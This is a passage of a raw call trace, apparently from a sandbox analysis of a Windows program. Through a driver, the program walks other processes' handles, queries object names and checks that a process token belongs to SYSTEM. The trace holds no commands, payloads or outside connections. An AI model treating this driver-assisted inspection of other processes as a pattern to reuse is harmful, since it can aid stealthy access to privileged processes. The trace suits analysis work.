Object=0xfffff88005590548*=0xfffffa8002fc1bd0, HandleInformation=0x0) returned 0x0 [0113.008] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.008] PsReleaseProcessExitSynchronization () returned 0x2 [0113.008] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x75 [0113.008] ObQueryNameString (in: Object=0xfffffa8002fc1bd0, ObjectNameInfo=0xfffffa800392e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800392e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.008] ObfDereferenceObject (Object=0xfffffa8002fc1bd0) returned 0x2 [0113.008] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.008] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.008] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.008] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0113.008] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.009] PsAcquireProcessExitSynchronization () returned 0x0 [0113.009] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880055905d0) [0113.009] ObReferenceObjectByHandle (in: Handle=0x2e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003212420, HandleInformation=0x0) returned 0x0 [0113.009] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.009] PsReleaseProcessExitSynchronization () returned 0x2 [0113.009] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x75 [0113.009] ObQueryNameString (in: Object=0xfffffa8003212420, ObjectNameInfo=0xfffffa800254e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.009] ObfDereferenceObject (Object=0xfffffa8003212420) returned 0x2 [0113.009] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.009] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.009] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.009] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0113.009] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.009] PsAcquireProcessExitSynchronization () returned 0x0 [0113.009] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880055905d0) [0113.009] ObReferenceObjectByHandle (in: Handle=0x2f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002fc2070, HandleInformation=0x0) returned 0x0 [0113.009] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.009] PsReleaseProcessExitSynchronization () returned 0x2 [0113.009] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x75 [0113.009] ObQueryNameString (in: Object=0xfffffa8002fc2070, ObjectNameInfo=0xfffffa80037aa7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037aa7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.009] ObfDereferenceObject (Object=0xfffffa8002fc2070) returned 0x2 [0113.009] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.009] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.009] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.009] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0113.009] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.009] PsAcquireProcessExitSynchronization () returned 0x0 [0113.009] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880055905d0) [0113.009] ObReferenceObjectByHandle (in: Handle=0x2f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002fbd540, HandleInformation=0x0) returned 0x0 [0113.009] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.009] PsReleaseProcessExitSynchronization () returned 0x2 [0113.010] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x75 [0113.010] ObQueryNameString (in: Object=0xfffffa8002fbd540, ObjectNameInfo=0xfffffa800207b7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800207b7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.010] ObfDereferenceObject (Object=0xfffffa8002fbd540) returned 0x2 [0113.010] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.010] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.010] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1e0) returned 0xc0 [0113.010] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0113.010] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa8003055910, HandleInformation=0x0) returned 0x0 [0113.010] ObOpenObjectByPointer (in: Object=0xfffffa8003055910, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000970) returned 0x0 [0113.010] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdd [0113.010] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000970, DesiredAccess=0x8, TokenHandle=0xfffffa8003816040 | out: TokenHandle=0xfffffa8003816040*=0xc8) returned 0x0 [0113.010] ZwClose (Handle=0xffffffff80000970) returned 0x0 [0113.010] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.010] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0113.010] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0113.011] CloseHandle (hObject=0xc8) returned 1 [0113.011] CloseHandle (hObject=0xc0) returned 1 [0113.011] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.011] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0113.012] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.012] PsAcquireProcessExitSynchronization () returned 0x0 [0113.012] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880055905d0) [0113.012] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800302d760, HandleInformation=0x0) returned 0x0 [0113.012] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.012] PsReleaseProcessExitSynchronization () returned 0x2 [0113.012] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0113.012] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fa37c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fa37c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.012] ObfDereferenceObject (Object=0xfffffa800302d760) returned 0x1 [0113.012] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.012] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.012] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.012] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0113.012] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.012] PsAcquireProcessExitSynchronization () returned 0x0 [0113.012] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880055905d0) [0113.012] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0089fcde0, HandleInformation=0x0) returned 0x0 [0113.012] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.012] PsReleaseProcessExitSynchronization () returned 0x2 [0113.012] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0113.012] ObQueryNameString (in: Object=0xfffff8a0089fcde0, ObjectNameInfo=0xfffffa800250d7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800250d7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.012] ObfDereferenceObject (Object=0xfffff8a0089fcde0) returned 0x2 [0113.012] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.012] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.012] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.012] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x28, lpOverlapped=0x0) returned 1 [0113.012] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.012] PsAcquireProcessExitSynchronization () returned 0x0 [0113.012] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880055905d0) [0113.012] ObReferenceObjectByHandle (in: Handle=0x88, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0089f6320, HandleInformation=0x0) returned 0x0 [0113.012] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.013] PsReleaseProcessExitSynchronization () returned 0x2 [0113.013] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0113.013] ObQueryNameString (in: Object=0xfffff8a0089f6320, ObjectNameInfo=0xfffffa800201d044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800201d044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.013] ObfDereferenceObject (Object=0xfffff8a0089f6320) returned 0x2 [0113.013] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.013] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.013] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.013] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0113.013] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.013] PsAcquireProcessExitSynchronization () returned 0x0 [0113.013] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880055905d0) [0113.013] ObReferenceObjectByHandle (in: Handle=0xa0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003086a20, HandleInformation=0x0) returned 0x0 [0113.013] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.013] PsReleaseProcessExitSynchronization () returned 0x2 [0113.013] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0113.013] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.013] ObfDereferenceObject (Object=0xfffffa8003086a20) returned 0x1 [0113.013] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.013] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.013] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.013] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0113.013] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.013] PsAcquireProcessExitSynchronization () returned 0x0 [0113.013] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880055905d0) [0113.013] ObReferenceObjectByHandle (in: Handle=0x1a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800302d280, HandleInformation=0x0) returned 0x0 [0113.013] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.013] PsReleaseProcessExitSynchronization () returned 0x2 [0113.013] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0113.013] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.013] ObfDereferenceObject (Object=0xfffffa800302d280) returned 0x1 [0113.013] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.013] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.014] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.014] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0113.014] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.014] PsAcquireProcessExitSynchronization () returned 0x0 [0113.014] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880055905d0) [0113.014] ObReferenceObjectByHandle (in: Handle=0x1b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001049560, HandleInformation=0x0) returned 0x0 [0113.014] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.014] PsReleaseProcessExitSynchronization () returned 0x2 [0113.014] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0113.014] ObQueryNameString (in: Object=0xfffff8a001049560, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.014] ObfDereferenceObject (Object=0xfffff8a001049560) returned 0x2 [0113.014] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.014] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.014] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.014] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x6a, lpOverlapped=0x0) returned 1 [0113.014] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.014] PsAcquireProcessExitSynchronization () returned 0x0 [0113.014] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880055905d0) [0113.014] ObReferenceObjectByHandle (in: Handle=0x2a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800302c5d0, HandleInformation=0x0) returned 0x0 [0113.014] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.014] PsReleaseProcessExitSynchronization () returned 0x2 [0113.014] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0113.014] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.014] ObfDereferenceObject (Object=0xfffffa800302c5d0) returned 0x1 [0113.014] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.014] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.014] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.014] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0113.014] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.014] PsAcquireProcessExitSynchronization () returned 0x0 [0113.014] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880055905d0) [0113.014] ObReferenceObjectByHandle (in: Handle=0x354, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030a0820, HandleInformation=0x0) returned 0x0 [0113.014] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.014] PsReleaseProcessExitSynchronization () returned 0x2 [0113.015] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0113.015] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.015] ObfDereferenceObject (Object=0xfffffa80030a0820) returned 0x1 [0113.015] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.015] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.015] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.015] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0113.015] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.015] PsAcquireProcessExitSynchronization () returned 0x0 [0113.015] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880055905d0) [0113.015] ObReferenceObjectByHandle (in: Handle=0x358, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030a0bb0, HandleInformation=0x0) returned 0x0 [0113.015] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.015] PsReleaseProcessExitSynchronization () returned 0x2 [0113.015] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0113.015] ObQueryNameString (in: Object=0xfffffa80030a0bb0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.015] ObfDereferenceObject (Object=0xfffffa80030a0bb0) returned 0x1 [0113.015] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.015] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.015] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.015] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0113.015] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.015] PsAcquireProcessExitSynchronization () returned 0x0 [0113.015] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880055905d0) [0113.015] ObReferenceObjectByHandle (in: Handle=0x390, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800829a350, HandleInformation=0x0) returned 0x0 [0113.015] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.015] PsReleaseProcessExitSynchronization () returned 0x2 [0113.015] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0113.015] ObQueryNameString (in: Object=0xfffffa800829a350, ObjectNameInfo=0xfffffa80020da044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020da044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.016] ObfDereferenceObject (Object=0xfffffa800829a350) returned 0x1 [0113.016] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.016] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.016] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.016] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x50, lpOverlapped=0x0) returned 1 [0113.016] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.016] PsAcquireProcessExitSynchronization () returned 0x0 [0113.016] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880055905d0) [0113.016] ObReferenceObjectByHandle (in: Handle=0x3c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80118c8540, HandleInformation=0x0) returned 0x0 [0113.016] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.016] PsReleaseProcessExitSynchronization () returned 0x2 [0113.016] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0113.016] 